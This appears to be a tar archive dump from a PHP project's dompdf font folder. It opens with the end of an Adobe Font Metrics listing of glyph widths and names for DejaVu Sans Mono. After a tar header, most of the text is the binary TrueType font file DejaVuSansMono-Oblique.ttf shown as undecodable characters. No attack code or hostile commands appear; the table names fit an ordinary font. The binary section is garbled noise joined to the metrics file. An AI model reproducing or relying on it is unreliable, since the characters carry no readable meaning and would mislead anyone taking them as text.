U 9570 ; WX 602 ; N SF200000 ; G 2388
U 9571 ; WX 602 ; N SF230000 ; G 2389
U 9572 ; WX 602 ; N SF470000 ; G 2390
U 9573 ; WX 602 ; N SF480000 ; G 2391
U 9574 ; WX 602 ; N SF410000 ; G 2392
U 9575 ; WX 602 ; N SF450000 ; G 2393
U 9576 ; WX 602 ; N SF460000 ; G 2394
U 9577 ; WX 602 ; N SF400000 ; G 2395
U 9578 ; WX 602 ; N SF540000 ; G 2396
U 9579 ; WX 602 ; N SF530000 ; G 2397
U 9580 ; WX 602 ; N SF440000 ; G 2398
U 9581 ; WX 602 ; N uni256D ; G 2399
U 9582 ; WX 602 ; N uni256E ; G 2400
U 9583 ; WX 602 ; N uni256F ; G 2401
U 9584 ; WX 602 ; N uni2570 ; G 2402
U 9585 ; WX 602 ; N uni2571 ; G 2403
U 9586 ; WX 602 ; N uni2572 ; G 2404
U 9587 ; WX 602 ; N uni2573 ; G 2405
U 9588 ; WX 602 ; N uni2574 ; G 2406
U 9589 ; WX 602 ; N uni2575 ; G 2407
U 9590 ; WX 602 ; N uni2576 ; G 2408
U 9591 ; WX 602 ; N uni2577 ; G 2409
U 9592 ; WX 602 ; N uni2578 ; G 2410
U 9593 ; WX 602 ; N uni2579 ; G 2411
U 9594 ; WX 602 ; N uni257A ; G 2412
U 9595 ; WX 602 ; N uni257B ; G 2413
U 9596 ; WX 602 ; N uni257C ; G 2414
U 9597 ; WX 602 ; N uni257D ; G 2415
U 9598 ; WX 602 ; N uni257E ; G 2416
U 9599 ; WX 602 ; N uni257F ; G 2417
U 9600 ; WX 602 ; N upblock ; G 2418
U 9601 ; WX 602 ; N uni2581 ; G 2419
U 9602 ; WX 602 ; N uni2582 ; G 2420
U 9603 ; WX 602 ; N uni2583 ; G 2421
U 9604 ; WX 602 ; N dnblock ; G 2422
U 9605 ; WX 602 ; N uni2585 ; G 2423
U 9606 ; WX 602 ; N uni2586 ; G 2424
U 9607 ; WX 602 ; N uni2587 ; G 2425
U 9608 ; WX 602 ; N block ; G 2426
U 9609 ; WX 602 ; N uni2589 ; G 2427
U 9610 ; WX 602 ; N uni258A ; G 2428
U 9611 ; WX 602 ; N uni258B ; G 2429
U 9612 ; WX 602 ; N lfblock ; G 2430
U 9613 ; WX 602 ; N uni258D ; G 2431
U 9614 ; WX 602 ; N uni258E ; G 2432
U 9615 ; WX 602 ; N uni258F ; G 2433
U 9616 ; WX 602 ; N rtblock ; G 2434
U 9617 ; WX 602 ; N ltshade ; G 2435
U 9618 ; WX 602 ; N shade ; G 2436
U 9619 ; WX 602 ; N dkshade ; G 2437
U 9620 ; WX 602 ; N uni2594 ; G 2438
U 9621 ; WX 602 ; N uni2595 ; G 2439
U 9622 ; WX 602 ; N uni2596 ; G 2440
U 9623 ; WX 602 ; N uni2597 ; G 2441
U 9624 ; WX 602 ; N uni2598 ; G 2442
U 9625 ; WX 602 ; N uni2599 ; G 2443
U 9626 ; WX 602 ; N uni259A ; G 2444
U 9627 ; WX 602 ; N uni259B ; G 2445
U 9628 ; WX 602 ; N uni259C ; G 2446
U 9629 ; WX 602 ; N uni259D ; G 2447
U 9630 ; WX 602 ; N uni259E ; G 2448
U 9631 ; WX 602 ; N uni259F ; G 2449
U 9632 ; WX 602 ; N filledbox ; G 2450
U 9633 ; WX 602 ; N H22073 ; G 2451
U 9634 ; WX 602 ; N uni25A2 ; G 2452
U 9635 ; WX 602 ; N uni25A3 ; G 2453
U 9636 ; WX 602 ; N uni25A4 ; G 2454
U 9637 ; WX 602 ; N uni25A5 ; G 2455
U 9638 ; WX 602 ; N uni25A6 ; G 2456
U 9639 ; WX 602 ; N uni25A7 ; G 2457
U 9640 ; WX 602 ; N uni25A8 ; G 2458
U 9641 ; WX 602 ; N uni25A9 ; G 2459
U 9642 ; WX 602 ; N H18543 ; G 2460
U 9643 ; WX 602 ; N H18551 ; G 2461
U 9644 ; WX 602 ; N filledrect ; G 2462
U 9645 ; WX 602 ; N uni25AD ; G 2463
U 9646 ; WX 602 ; N uni25AE ; G 2464
U 9647 ; WX 602 ; N uni25AF ; G 2465
U 9648 ; WX 602 ; N uni25B0 ; G 2466
U 9649 ; WX 602 ; N uni25B1 ; G 2467
U 9650 ; WX 602 ; N triagup ; G 2468
U 9651 ; WX 602 ; N uni25B3 ; G 2469
U 9652 ; WX 602 ; N uni25B4 ; G 2470
U 9653 ; WX 602 ; N uni25B5 ; G 2471
U 9654 ; WX 602 ; N uni25B6 ; G 2472
U 9655 ; WX 602 ; N uni25B7 ; G 2473
U 9656 ; WX 602 ; N uni25B8 ; G 2474
U 9657 ; WX 602 ; N uni25B9 ; G 2475
U 9658 ; WX 602 ; N triagrt ; G 2476
U 9659 ; WX 602 ; N uni25BB ; G 2477
U 9660 ; WX 602 ; N triagdn ; G 2478
U 9661 ; WX 602 ; N uni25BD ; G 2479
U 9662 ; WX 602 ; N uni25BE ; G 2480
U 9663 ; WX 602 ; N uni25BF ; G 2481
U 9664 ; WX 602 ; N uni25C0 ; G 2482
U 9665 ; WX 602 ; N uni25C1 ; G 2483
U 9666 ; WX 602 ; N uni25C2 ; G 2484
U 9667 ; WX 602 ; N uni25C3 ; G 2485
U 9668 ; WX 602 ; N triaglf ; G 2486
U 9669 ; WX 602 ; N uni25C5 ; G 2487
U 9670 ; WX 602 ; N uni25C6 ; G 2488
U 9671 ; WX 602 ; N uni25C7 ; G 2489
U 9672 ; WX 602 ; N uni25C8 ; G 2490
U 9673 ; WX 602 ; N uni25C9 ; G 2491
U 9674 ; WX 602 ; N lozenge ; G 2492
U 9675 ; WX 602 ; N circle ; G 2493
U 9676 ; WX 602 ; N uni25CC ; G 2494
U 9677 ; WX 602 ; N uni25CD ; G 2495
U 9678 ; WX 602 ; N uni25CE ; G 2496
U 9679 ; WX 602 ; N H18533 ; G 2497
U 9680 ; WX 602 ; N uni25D0 ; G 2498
U 9681 ; WX 602 ; N uni25D1 ; G 2499
U 9682 ; WX 602 ; N uni25D2 ; G 2500
U 9683 ; WX 602 ; N uni25D3 ; G 2501
U 9684 ; WX 602 ; N uni25D4 ; G 2502
U 9685 ; WX 602 ; N uni25D5 ; G 2503
U 9686 ; WX 602 ; N uni25D6 ; G 2504
U 9687 ; WX 602 ; N uni25D7 ; G 2505
U 9688 ; WX 602 ; N invbullet ; G 2506
U 9689 ; WX 602 ; N invcircle ; G 2507
U 9690 ; WX 602 ; N uni25DA ; G 2508
U 9691 ; WX 602 ; N uni25DB ; G 2509
U 9692 ; WX 602 ; N uni25DC ; G 2510
U 9693 ; WX 602 ; N uni25DD ; G 2511
U 9694 ; WX 602 ; N uni25DE ; G 2512
U 9695 ; WX 602 ; N uni25DF ; G 2513
U 9696 ; WX 602 ; N uni25E0 ; G 2514
U 9697 ; WX 602 ; N uni25E1 ; G 2515
U 9698 ; WX 602 ; N uni25E2 ; G 2516
U 9699 ; WX 602 ; N uni25E3 ; G 2517
U 9700 ; WX 602 ; N uni25E4 ; G 2518
U 9701 ; WX 602 ; N uni25E5 ; G 2519
U 9702 ; WX 602 ; N openbullet ; G 2520
U 9703 ; WX 602 ; N uni25E7 ; G 2521
U 9704 ; WX 602 ; N uni25E8 ; G 2522
U 9705 ; WX 602 ; N uni25E9 ; G 2523
U 9706 ; WX 602 ; N uni25EA ; G 2524
U 9707 ; WX 602 ; N uni25EB ; G 2525
U 9708 ; WX 602 ; N uni25EC ; G 2526
U 9709 ; WX 602 ; N uni25ED ; G 2527
U 9710 ; WX 602 ; N uni25EE ; G 2528
U 9711 ; WX 602 ; N uni25EF ; G 2529
U 9712 ; WX 602 ; N uni25F0 ; G 2530
U 9713 ; WX 602 ; N uni25F1 ; G 2531
U 9714 ; WX 602 ; N uni25F2 ; G 2532
U 9715 ; WX 602 ; N uni25F3 ; G 2533
U 9716 ; WX 602 ; N uni25F4 ; G 2534
U 9717 ; WX 602 ; N uni25F5 ; G 2535
U 9718 ; WX 602 ; N uni25F6 ; G 2536
U 9719 ; WX 602 ; N uni25F7 ; G 2537
U 9720 ; WX 602 ; N uni25F8 ; G 2538
U 9721 ; WX 602 ; N uni25F9 ; G 2539
U 9722 ; WX 602 ; N uni25FA ; G 2540
U 9723 ; WX 602 ; N uni25FB ; G 2541
U 9724 ; WX 602 ; N uni25FC ; G 2542
U 9725 ; WX 602 ; N uni25FD ; G 2543
U 9726 ; WX 602 ; N uni25FE ; G 2544
U 9727 ; WX 602 ; N uni25FF ; G 2545
U 9728 ; WX 602 ; N uni2600 ; G 2546
U 9784 ; WX 602 ; N uni2638 ; G 2547
U 9785 ; WX 602 ; N uni2639 ; G 2548
U 9786 ; WX 602 ; N smileface ; G 2549
U 9787 ; WX 602 ; N invsmileface ; G 2550
U 9788 ; WX 602 ; N sun ; G 2551
U 9791 ; WX 602 ; N uni263F ; G 2552
U 9792 ; WX 602 ; N female ; G 2553
U 9793 ; WX 602 ; N uni2641 ; G 2554
U 9794 ; WX 602 ; N male ; G 2555
U 9795 ; WX 602 ; N uni2643 ; G 2556
U 9796 ; WX 602 ; N uni2644 ; G 2557
U 9797 ; WX 602 ; N uni2645 ; G 2558
U 9798 ; WX 602 ; N uni2646 ; G 2559
U 9799 ; WX 602 ; N uni2647 ; G 2560
U 9824 ; WX 602 ; N spade ; G 2561
U 9825 ; WX 602 ; N uni2661 ; G 2562
U 9826 ; WX 602 ; N uni2662 ; G 2563
U 9827 ; WX 602 ; N club ; G 2564
U 9828 ; WX 602 ; N uni2664 ; G 2565
U 9829 ; WX 602 ; N heart ; G 2566
U 9830 ; WX 602 ; N diamond ; G 2567
U 9831 ; WX 602 ; N uni2667 ; G 2568
U 9833 ; WX 602 ; N uni2669 ; G 2569
U 9834 ; WX 602 ; N musicalnote ; G 2570
U 9835 ; WX 602 ; N musicalnotedbl ; G 2571
U 9836 ; WX 602 ; N uni266C ; G 2572
U 9837 ; WX 602 ; N uni266D ; G 2573
U 9838 ; WX 602 ; N uni266E ; G 2574
U 9839 ; WX 602 ; N uni266F ; G 2575
U 10178 ; WX 602 ; N uni27C2 ; G 2576
U 10181 ; WX 602 ; N uni27C5 ; G 2577
U 10182 ; WX 602 ; N uni27C6 ; G 2578
U 10204 ; WX 602 ; N uni27DC ; G 2579
U 10208 ; WX 602 ; N uni27E0 ; G 2580
U 10214 ; WX 602 ; N uni27E6 ; G 2581
U 10215 ; WX 602 ; N uni27E7 ; G 2582
U 10216 ; WX 602 ; N uni27E8 ; G 2583
U 10217 ; WX 602 ; N uni27E9 ; G 2584
U 10218 ; WX 602 ; N uni27EA ; G 2585
U 10219 ; WX 602 ; N uni27EB ; G 2586
U 10229 ; WX 602 ; N uni27F5 ; G 2587
U 10230 ; WX 602 ; N uni27F6 ; G 2588
U 10231 ; WX 602 ; N uni27F7 ; G 2589
U 10631 ; WX 602 ; N uni2987 ; G 2590
U 10632 ; WX 602 ; N uni2988 ; G 2591
U 10647 ; WX 602 ; N uni2997 ; G 2592
U 10648 ; WX 602 ; N uni2998 ; G 2593
U 10731 ; WX 602 ; N uni29EB ; G 2594
U 10746 ; WX 602 ; N uni29FA ; G 2595
U 10747 ; WX 602 ; N uni29FB ; G 2596
U 10752 ; WX 602 ; N uni2A00 ; G 2597
U 10799 ; WX 602 ; N uni2A2F ; G 2598
U 10858 ; WX 602 ; N uni2A6A ; G 2599
U 10859 ; WX 602 ; N uni2A6B ; G 2600
U 11013 ; WX 602 ; N uni2B05 ; G 2601
U 11014 ; WX 602 ; N uni2B06 ; G 2602
U 11015 ; WX 602 ; N uni2B07 ; G 2603
U 11016 ; WX 602 ; N uni2B08 ; G 2604
U 11017 ; WX 602 ; N uni2B09 ; G 2605
U 11018 ; WX 602 ; N uni2B0A ; G 2606
U 11019 ; WX 602 ; N uni2B0B ; G 2607
U 11020 ; WX 602 ; N uni2B0C ; G 2608
U 11021 ; WX 602 ; N uni2B0D ; G 2609
U 11026 ; WX 602 ; N uni2B12 ; G 2610
U 11027 ; WX 602 ; N uni2B13 ; G 2611
U 11028 ; WX 602 ; N uni2B14 ; G 2612
U 11029 ; WX 602 ; N uni2B15 ; G 2613
U 11030 ; WX 602 ; N uni2B16 ; G 2614
U 11031 ; WX 602 ; N uni2B17 ; G 2615
U 11032 ; WX 602 ; N uni2B18 ; G 2616
U 11033 ; WX 602 ; N uni2B19 ; G 2617
U 11034 ; WX 602 ; N uni2B1A ; G 2618
U 11364 ; WX 602 ; N uni2C64 ; G 2619
U 11373 ; WX 602 ; N uni2C6D ; G 2620
U 11374 ; WX 602 ; N uni2C6E ; G 2621
U 11375 ; WX 602 ; N uni2C6F ; G 2622
U 11376 ; WX 602 ; N uni2C70 ; G 2623
U 11381 ; WX 602 ; N uni2C75 ; G 2624
U 11382 ; WX 602 ; N uni2C76 ; G 2625
U 11383 ; WX 602 ; N uni2C77 ; G 2626
U 11385 ; WX 602 ; N uni2C79 ; G 2627
U 11386 ; WX 602 ; N uni2C7A ; G 2628
U 11388 ; WX 602 ; N uni2C7C ; G 2629
U 11389 ; WX 602 ; N uni2C7D ; G 2630
U 11390 ; WX 602 ; N uni2C7E ; G 2631
U 11391 ; WX 602 ; N uni2C7F ; G 2632
U 11800 ; WX 602 ; N uni2E18 ; G 2633
U 11807 ; WX 602 ; N uni2E1F ; G 2634
U 11810 ; WX 602 ; N uni2E22 ; G 2635
U 11811 ; WX 602 ; N uni2E23 ; G 2636
U 11812 ; WX 602 ; N uni2E24 ; G 2637
U 11813 ; WX 602 ; N uni2E25 ; G 2638
U 11822 ; WX 602 ; N uni2E2E ; G 2639
U 42760 ; WX 602 ; N uniA708 ; G 2640
U 42761 ; WX 602 ; N uniA709 ; G 2641
U 42762 ; WX 602 ; N uniA70A ; G 2642
U 42763 ; WX 602 ; N uniA70B ; G 2643
U 42764 ; WX 602 ; N uniA70C ; G 2644
U 42765 ; WX 602 ; N uniA70D ; G 2645
U 42766 ; WX 602 ; N uniA70E ; G 2646
U 42767 ; WX 602 ; N uniA70F ; G 2647
U 42768 ; WX 602 ; N uniA710 ; G 2648
U 42769 ; WX 602 ; N uniA711 ; G 2649
U 42770 ; WX 602 ; N uniA712 ; G 2650
U 42771 ; WX 602 ; N uniA713 ; G 2651
U 42772 ; WX 602 ; N uniA714 ; G 2652
U 42773 ; WX 602 ; N uniA715 ; G 2653
U 42774 ; WX 602 ; N uniA716 ; G 2654
U 42779 ; WX 602 ; N uniA71B ; G 2655
U 42780 ; WX 602 ; N uniA71C ; G 2656
U 42781 ; WX 602 ; N uniA71D ; G 2657
U 42782 ; WX 602 ; N uniA71E ; G 2658
U 42783 ; WX 602 ; N uniA71F ; G 2659
U 42786 ; WX 602 ; N uniA722 ; G 2660
U 42787 ; WX 602 ; N uniA723 ; G 2661
U 42788 ; WX 602 ; N uniA724 ; G 2662
U 42789 ; WX 602 ; N uniA725 ; G 2663
U 42790 ; WX 602 ; N uniA726 ; G 2664
U 42791 ; WX 602 ; N uniA727 ; G 2665
U 42889 ; WX 602 ; N uniA789 ; G 2666
U 42890 ; WX 602 ; N uniA78A ; G 2667
U 42891 ; WX 602 ; N uniA78B ; G 2668
U 42892 ; WX 602 ; N uniA78C ; G 2669
U 42893 ; WX 602 ; N uniA78D ; G 2670
U 42894 ; WX 602 ; N uniA78E ; G 2671
U 42896 ; WX 602 ; N uniA790 ; G 2672
U 42897 ; WX 602 ; N uniA791 ; G 2673
U 42922 ; WX 602 ; N uniA7AA ; G 2674
U 43000 ; WX 602 ; N uniA7F8 ; G 2675
U 43001 ; WX 602 ; N uniA7F9 ; G 2676
U 63173 ; WX 602 ; N uniF6C5 ; G 2677
U 64257 ; WX 602 ; N fi ; G 2678
U 64258 ; WX 602 ; N fl ; G 2679
U 65529 ; WX 602 ; N uniFFF9 ; G 2680
U 65530 ; WX 602 ; N uniFFFA ; G 2681
U 65531 ; WX 602 ; N uniFFFB ; G 2682
U 65532 ; WX 602 ; N uniFFFC ; G 2683
U 65533 ; WX 602 ; N uniFFFD ; G 2684
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-Oblique.ttf000066600000754034151150442760017461 0ustar00 FFTMs���,GDEF1�&�HDGPOSr�@��GSUB:��d`OS/2����Vcmap�\�Z�cvt ���&��fpgm�����gasp@glyf��źL��head	z�06hhea
B/h$hmtxG�?��4locaV��#�*\maxp�N name�n2:N<!fpost1*�o�c�prep8���,��=����)��)<ijjklmz{
u
v
w
x
�
N\DFLTcyrl$lao .latn:��������mark���ntz����������������������
"(.4:@FLRX^djpv|��������cI�cI�aG�/�u�^D�0�v�`F�dJ�`F�1�w�dJ�bH�cI�;jS9�;jbI�;jfM�;iaG�aG�dJ�G-�`G�aG�Z@�Mgjjmz>DJPV\bhntz�����t|w|w|w|w���t�`�~�~�`�~�`
��DFLTcyrl&lao 8latnB��SRB 
����FCAT PESP PGAL PISM XKSM XLSM XMOL bNSM XROM bSKS XSSM X��������casedlig locl&locl,
" $(@m	�
wO
vLI
�
�
�c�
I��3�63��E�f	��Ry� PfEd ����m�`���,
��,
����~������!AEM��������?CXaw�����_cs��������V_��?���������������	.[ex{���-Mcy��������������EMWY[]}������� 
 # & 7 : ? I K _ q � � � � �!!!!!!!"!$!&!+!.!H!Q!_!�""" "#"-"="i"�"�"�"�"�"�"�"�####!#(#+#z#}#�#�#�#�#�$#&&<&G&g&o'�'�'�'�'�'�)�)�)�)�**/*k+
+,d,p,w,z,...%..���'�������������� �������!$CLP�������CXatz������br��������1Ya�?���������������,0bw{���0Th|������������� HPY[]_�������   & / 9 < E K _ p t � � � �!!!
!!!!"!$!&!*!.!H!P!S!�!�"""#"'"4"A"m"�"�"�"�"�"�"�#####%#+#5#}#�#�#�#�#�$#%&8&?&`&i'�'�'�'�'�'�)�)�)�)�**/*j++,d,m,u,y,|..."..���"���������������������������������������������������������n�f�T�R�N�M�L�K�J�<�:�,��
������������������
��������������������������������~�m�k�b�M�L���������������������������������������������������������q�o�n�k�i�g�#�!������
��	����������������������~�y�i�h�f�d�a�_�V�T�R�N�E�@�!���������N�L�7�4�/�&���7�)�%�߽�$� �����������1�+�)�!cHcDcBb�b�b�b{�u
	�� ~��b�����������������!!�$A�CE�LM�P����]��d��h��p��y������?�CC�XX�aa�tw�z����������������_,bc�rs���������������������������1V�Y_a�#��J??L��M��O��P��R��S��T��X��_��b��c��d��f��s��u��{�	����,.�0[�be�wx�{{���������- 0M6TcThyd|�v����������������������������������������� E�HMPW
YY[[]]_}��4��i��x������������  
�  #� & &� / 7� 9 :� < ?� E I� K K� _ _� p q� t �� � �� � � � �! � �$!!%!!&!
!'!!*!!-!!/!"!"0!$!$1!&!&2!*!+3!.!.5!H!H6!P!Q7!S!_9!�!�F!�"G""�"" �"#"#�"'"-�"4"=�"A"i�"m"�"�"�0"�"�I"�"�M"�"�N"�"�S"�"�X"�"�h##i##p##~##!�#%#(�#+#+�#5#z�#}#}�#�#��#�#��#�#��#�#��#�#��$#$#�%&�&8&<	�&?&G	�&`&g
&i&o
	'�'�
'�'�
'�'�
'�'�
'�'�
'�'�
)�)�
)�)�
 )�)�
")�)�
#**
%*/*/
&*j*k
'++

)++
2,d,d
;,m,p
<,u,w
@,y,z
C,|,
E..
I..
J.".%
K....
O��
P��
_�"�'
d����
j����
p����
r����
s����
u��
v����
x�Z�Z
}
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a���������������������������������rdei�x�pk0vj���sgw����l|����cn�T��m}�b����������	��:��
v
w�y�������������������dvqrstzwue##�����������������X!�����#/���{{�R�f�������o�����Z���!�����7��={f�����s�
��+���b������b��#�����3N{T�\q#w��!`j���#�fy```{���w`���{�{�RNN�f��f��f�������HF?�{L��'5oojo{������-��{��{=�f�oD7f���}s�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��h��h�@��O/���1����0!%!!h�s����r)s`�	Y@.			:TSQ	
����991/��0KSX����9Y"3#3#�ʁX�2s�2��q��e���R��@UQ����1�<�20###�Ѯ��+��+����P@5X	X

	 
 ��91/<�2�<<�22�<<�220#333!!!!###!7!!7!
�S�i�i�h'�T'��h�h�i�i�'T��'h�����a��a�����b��b��N����;
0l@@()%/0%W$ZXWZX!0 !()/%$,1����9991/�2�������9999902654&'#.'7.54$?3.'+uV��^�Pw�Te;_�_#Q�hZ��	�0d/U�H A�YQ�����
L�E�tNU���cEJ��-.+�<B�#�}�����(/�V"����!��*9V@/7("	]"]7^(].\^]+	
	%	4
	+:������99991/�����9999032654&#"4632#"&'%32654&#"4632#"&�iNMklLNi���@s..2�����H#)�iOMllMMk���@u--1����?NjkMMljO��0./t?���`�`�OikMMkjN��0--uA��������&0�@a)*('0'
	
		/.0()':0'	-cWb!cae	
$	0'$*1������999991/����99990KSX�9�9��9��9Y"	>73#'#"&547.54632.#"326773>J�zk{�;_�h��Ǽ��A|9#*zLq�,_����A�G���B͋���f�qGG֯�!g4l7���&&s^/��I�uw�96����Q��1��0#����+u��
@hg


��9991��0
#&5��;<�OJ�����Ғ�Ң�:�/W���3
 @hg


���9991��04'3���;<�NK�����,c/�.���Ŏ������J+�N@,
	ii
a
		
�<�2�<�2991��<�2��2990
%#'-73%+��f9��s��9f��9PsP���b��y�b��c�y���Xqy�'@m	lm

�<�<�1�<�<�0!!#!5!���C��D���D��D������/5@:on���1��0KSX��9Y"3#��)��/��/�Z����991��0!!P
!����b�//@:n���91/�0KSX��Y"3#��<�/���B#�@:Q����1��0KSXY"3T������mb��o�/�@	c'cae0$-0������1������0@�//////////	/
/OOOOOOOOOO	O
O����������	�
�����������	�
�0//////////	/
/����������	�
�]]4632#"&#"&47>32267654&#"�P77ON87P�sTTߔürUUݓþ��P�/E]bkP�0F\g�7PP78NOE��E������������g`�����f_��_���{��
T@*	:ccQc		

����99991/�2����0KSX��2Y"7!7%3!!�9��#`��5!�ɪuL�J�ժf�\@���99991@qcac/�2����9990@�9�%!!7754&#"7>32� �n!7'�r\�~)p�a��GR!�����#��]jCD�12›`�g*�����N�(J@+c
W	q
cW qc#ae)
) 	&	)�����991���������90!"&'732654&+732654&#"7>32�r�����l�^&[�b��� ���{�R�q%{�T�س�~��%%�45��uy��|d_((�!����?�
s@>


	
		:cQ	
		���991/��<�290KSX������Y"	!33##!7J��ٜ���F�E��$��3���d���T� j@8   : cWbccQe! 

!���9991��������90KSX��9Y"!!>32#"&'732654&#"`�!��H/Y,��i`X�l�H)T�^��O�Kժ���|�VPP!�32ꮀ�(&\��h�*;@ 	ccr
Wbc(ae+
"+����91���������04&#"32.#">32#"&5476$32\tk��zk��$:�K��7D�q��PDN�z��NDb1�K�Rqz��y�'�%'���fiǸw�Sa`�צf������5@:cQ���91/��0KSX��Y"!#!����
�<�^��+)��f�#/?@"c*	c$cae*t0'-!0��������991������9904&#"326.5432#"&546"32654&5�v���p���ykl(ֲ� ~���������uf{�x�t�Śi~��&�i�����)����̳��`�|cr�}[l?��L�*3@cr
c(	ca(e+"+����91���������032654&#"732#"&5467>32#"&Jtk��xk���#:�K��7D�q��PCN�z��NDb���K��qz��z���ٺ%'fiȹv�S`a�֦�����X#%O@):nun����91/���0KSX����Y"3#3#'�<�Y�;�%��9����#'	Z@.			:nonu
	
�����991���0KSX��9��Y"3#3#��)������<�/����X�yw!@wv��291��90	5y��R��!����÷���X`y�@ll�<�21����0!!!!X!��!���B�X�yw!@wv�<�91��9055X!��R���^��^�=F`�!@H !!!:ccaS  		!	!"�����9991/����9990KSX���9�Y"#7>?>54&#"7>323#`�MqkUGpcO�i$m�e��a�iT<��1���[�^[Ho8JRGB�98�~^�lVFfV������u@o@5.1*@xx-*x1!x1:A@=
-.	='=4A�����9991���������999990@	����]2654&#"#7#"&54327>54&#"3267# 476$32�}�eX{�c��3�Q���T������_TX�9xC-B�S���|n&���		Ә`nїap}o?D���9H=+#4~���}�՝�����{=�����ѰM/���
v@B	




:cyQ			
��91/<���90KSX��������Y"	!3#!#�������#����-����+��{�� u@@   
 	 :c
	cQc
z 
	 !������9991/�����90KSX�9�9��Y"32654&#32654&#%!2)mk��È�{X�o}�b��и�}�����<�ݮ�kff�>�^T������|�s����2@|{c|{cae  ���9991�������0%#"5476$32.#"3267�T�[�rk�P�K)@�P_�Gh��U�X5))
�����|*(�?>QS{�����@=��j�P@(	
:	cQc
	����99991/���0KSX�9�9Y"%267654&+ )D��D6E��r�gTGh�����#�}�s?����w/���������5��X@0:ccQcz

	���991/�����0KSX����Y"!!!!!!Xu!�TV� �rh�!�wժ�F���\��	S@,					:ccQz		
���991/����0KSX����Y"!!!!#o!�\Vd ����ժ�H��7N����)a@3&))#$"%):%&"&c("c|{cae*('&%)*����9991��������990KSX�9�Y"%#"5467>76$32.#"3267#7!�W�u�! #^8k�P�M)A�Qb�D,N"#��Dl%L��`>?
�Z�ou�C�|*(�?>SQ4�ar�Q��%#������{@B
	:czQ

	����9991/<�2��0KSX��������Y"3!3#!#�v)v��ʋ�Չ���d�+�99��?@"	
	

	:
cQc
	
��91/�2��20KSX��Y"!!!!7!!Z>!���:!��!9��ժ�������N�U@.:{cc
Qe
	��991�����990KSX�9�Y"'73267!7!#"&-H�g��(���!H�8��a�=�OS��D�����.��J�j@;	
		:}

���991/<�290KSX������Y"33	##��A����p��y�������N
�8@:cQ���9991/��0KSX��Y"3!!q���!�e�ժ����@D
	
:
}
	
����99991/<�2�90KSX��������Y"�]@&
	]]!!#	##�
n��ݺ�N�s����+/��������	�@<			:}
	
����9991/<�2990KSX������Y"�]@)]!3!#��������3�+�3R���)!@c	c'ae**����1����0%267654&#"#"&47>7>32�U�/J\inU�/L\i�-+C'Xڑ��++C'Xڑ�Çf_�����f_��h���un���\�;y�o��\�;y�3��h@6					:cc	Q
	
	����99991/����0KSX�9�9�9�Y"32654&#%!2!##m��|��m�������u�/�Ͽ�lg������R���-3@c%c
ae.+"+.����991�����990#"&47>7>32267654&#"�
��++C'Xڑ��@%6�O���U�/J\inU�/L\i�o��\�;y��S�ot�C_�!�\�f_�����f_��h�����@R	






:c	c
Q
	


����9999991/<����9990KSX�9�9����9Y"#.+#!232654&#�HW6y�j,mn�{�!����)fۣ�~��j��hy�b��ճ���W�pi��{�'�@:
	
:
|qc|qc%ae(
"(����99991�������90KSX�9�9Y"�8]@<'''))))777



(((%%%%88VVVV]].#"!"&'732654&/.54!2{'Q�]��b�y������h�d)b�p��X�e��J
P���;<�GX('2����--�EB��RZ)!:�y�(�5�@@:cQ����99991/��20KSX��Y"!!#!�t!�+���+ժ��+P����~@K	



	:
ceQ����991�2��90KSX��9�9�Y"33267>73#"&546s�˳mnY|--�˲*_NG�j��=��h
�;\\9>����h��?8;��%~�+�J@':}��91/�290KSX����Y"%3!3�V�1���ƾ�+�R`��@J
	


	:
}
	
��91/<�<�90KSX��������Y"�]@\

;u
�
�
�
�
		
)%&86736FFCEZVTUkfch
ezvvy	u��
���
�%]]333##��ZI�y������F ����+f����9�~@H	


	:}	
��91/<�290KSX��������Y"33	##�����D�������1��d���D�f@5:}	����9991/�290KSX������Y"33#�������σ�u���b�����	9@:cQc	

��91/���0KSX��Y"!!!7!1��-"��)՚�o�����G@":~~g������991����0KSX��Y"!#3!m�����V����d�B��0@:Q���91��0KSX��Y"#3ժǪ������C@ :~~g������991����0KSX��Y"	!73#7����X�+��ޏ�H���@
Q��91��290	#	#�Ȳ����������u-��m��/�1��0!5�/�mPP��Pf2@	����91��0K�	TK�T[X���@878Y#�ŏ�f��xH��?{
.�@a! "

	:	%	�	�&W%�"�)�e,%
&,/����99991/�������99990KSX��9�9�9�9�9Y"��']@65$0%0&5'�������
�����������
����']]"326?#7#"&54$!37>54&#"7>32�wt+DRgX��&�}� H�n��5�~uV�o#l�Y��3{IScԹ)L���^e����=	U[33�''�� h;��T%�@L$#

	$#"$# !#$#$#%$$#:!	��e�$�""#%!#$$#&����999991/�����990KSX��9�9��9�9Y"%267>54&#">32#"&'#3T�.19eeS�30:k>�f��RHL�|b�"�/�ZV^�l��\XV�o{�RTVϺ���lsVT����q{4@WZWZ���e  ���9991��������0%#"&547>32.#"3267�I�Z��k[]߅Y�O%B�Un�<8?��`�S3')�ܕbcb++�:6YYR�h��>?w���%�@L
	
$%#:	�#	�e#��&����999991/�����990KSX�9���9�9�9Y""3267>54&3#7#"&547>32�X�.16feU�018m�s��ѸA�d��PEK�|a��WWZ�s��ZXW�rx�C��TVҼ�!lvxWb��f}	&\@"�
W&Y#�
���
e'	 &
 '����99991��������0@h	hooooo	ooooo
]]>54&#"#"&547>32!3267��t{�,ui�g��xjS�m��
����X�r�#x�����++�֜,mVZ�"eN 4��98�j@9
	:����


		���999991/�2���2990KSX����Y"#"!!#!7!7>3��_`�������)&���Sec��/яN��;�Hy{.�@[	... ..-.)*+(,..: ,	W� �	�)� �-�/-,..#/���9991���������99990KSX�9��9�9�9�9Y"%267>54&#"#"&'7326?#"&547>3273O�.17pd��r5���R�K%I�P��%:�n��PHJ�oe�"��ZTZ�jw����w�I����,.��uW[׸�jp|aU�TH�@R
	
	
:

���
����99991/<���990KSX��9�9���9Y"#67654&#"#3>323���]W�!{�/�tK�b����J�
G'QW������ab�� ^=�	
h@7

:�
���
�	
 �����99991/��2���0KSX����Y"!!!7!!3#f׾m�nm�����-�`�/��BC��V�
r@@

:
�
�����
	 ���91������990KSX�9���Y"!7!+73263#����)ʵ��_nJ�-�����w��Z�{@:!!
		:��

���991/<��90KSX������Y"�w]�v}p]]33	##���%�u�ͨX�����Z�FF��?7�]@/:���	�����99999991/��990KSX��9Y";#"&5467!7!XY[�ϭ�
	����#6IH��P.����{+�@e
	
	

